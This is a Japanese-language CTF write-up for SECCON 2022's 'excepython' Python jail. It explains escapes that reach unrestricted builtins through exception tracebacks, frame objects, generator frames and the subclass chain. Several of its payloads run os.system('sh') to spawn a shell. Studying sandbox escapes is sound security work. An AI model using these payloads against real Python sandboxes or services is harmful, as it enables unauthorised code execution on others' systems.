SECCON CTF 2022 - excepython
Challenge
例外処理を利用した pyjail。
import sys
code = input()
try: exec(code, {'__builtins__': {}})except Exception as e: print(f"Error: {e}")Solution
例外からトレースバックを取得
例外オブジェクトは __traceback__ 属性を持ち、そこからフレームにアクセス可能:
try: 1/0except Exception as e: tb = e.__traceback__ frame = tb.tb_frame builtins = frame.f_builtins builtins['eval']('__import__("os").system("sh")')builtins 空での例外発生
__builtins__ が空でも、組み込み操作で例外を発生させられる:
[][0] # IndexError{}['x'] # KeyError1/0 # ZeroDivisionError()() # TypeErrorwalrus 演算子との組み合わせ
Python 3.8+ の walrus 演算子 (:=) で代入しながら処理:
[ (tb := (lambda: 1/0).__code__), # または例外を発生させてキャッチ]完全なペイロード
サブクラスチェーンを使用:
[x for x in (1).__class__.__base__.__subclasses__() if 'wrap' in str(x)][0].__init__.__globals__['system']('sh')Technical Details
例外オブジェクトの属性
try: raise ValueError("test")except ValueError as e: print(e.args) # ('test',) print(e.__traceback__) # <traceback object> print(e.__cause__) # None (raise ... from ... で設定) print(e.__context__) # None (例外チェーン)トレースバックオブジェクト
tb = e.__traceback__tb.tb_frame # フレームオブジェクトtb.tb_lineno # 例外発生行番号tb.tb_lasti # 最後の命令インデックスtb.tb_next # 次のトレースバック (スタック上位)フレームオブジェクトの属性
frame = tb.tb_frameframe.f_back # 呼び出し元フレームframe.f_builtins # builtins 辞書 (制限環境でも完全版が入っている場合あり)frame.f_globals # グローバル変数辞書frame.f_locals # ローカル変数辞書frame.f_code # コードオブジェクトframe.f_lineno # 現在の行番号フレームチェーンの探索
# 呼び出しスタックを遡るframe = tb.tb_framewhile frame: print(f"Function: {frame.f_code.co_name}") print(f"Has eval: {'eval' in frame.f_builtins}") frame = frame.f_backwalrus 演算子の活用
# Python 3.8+# 代入と評価を同時に行うif (x := some_function()) is not None: use(x)
# リスト内包表記での利用[y := x**2 for x in range(5)]# y には最後の値 (16) が残るAlternative Solutions
別解1: sys.exc_info() (sysがある場合)
import systry: 1/0except: exc_type, exc_value, exc_tb = sys.exc_info() frame = exc_tb.tb_frame frame.f_builtins['eval']('...')別解2: generator の gi_frame
(x for x in []).gi_frame.f_builtins['eval']('__import__("os").system("sh")')別解3: 例外クラスの定義
class Evil(Exception): def __init__(self): import os os.system('sh')
try: raise Evil()except: passFlag
SECCON{...}
References
- SECCON CTF 2022 Official
- https://ctftime.org/writeup/36099